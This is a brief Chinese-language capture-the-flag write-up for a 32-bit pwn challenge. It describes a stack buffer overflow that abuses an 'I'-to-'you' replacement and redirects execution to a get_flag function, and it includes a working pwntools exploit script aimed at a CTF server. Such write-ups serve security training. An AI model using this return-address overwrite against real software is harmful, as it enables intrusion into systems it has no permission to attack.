拿到文件先checksec,32位的文件,并且只开启了NX保护
查看main函数
没有什么东西,双击进入vuln()
通过代码可以知道我们输入的I都会被replace函数替换为you
而且s的长度为0x3c,也就是60个字节,可我们最多能够输入32个字符
所以需要输入20个I来填充0x3c这个长度
紧接着又发现了让人开心的东西
在函数列表里面有一个get_flag函数,打开它会发现cat flag.txt命令
并且我们记下他的地址0x8048F0D
有了思路就开始写脚本
from pwn import*
p = remote('node4.buuoj.cn',29042)
payload = 'I' * 20 + 'a' * 4 + p32(0x8048F0D)
p.sendline(payload)
p.interactive()
成功拿到flag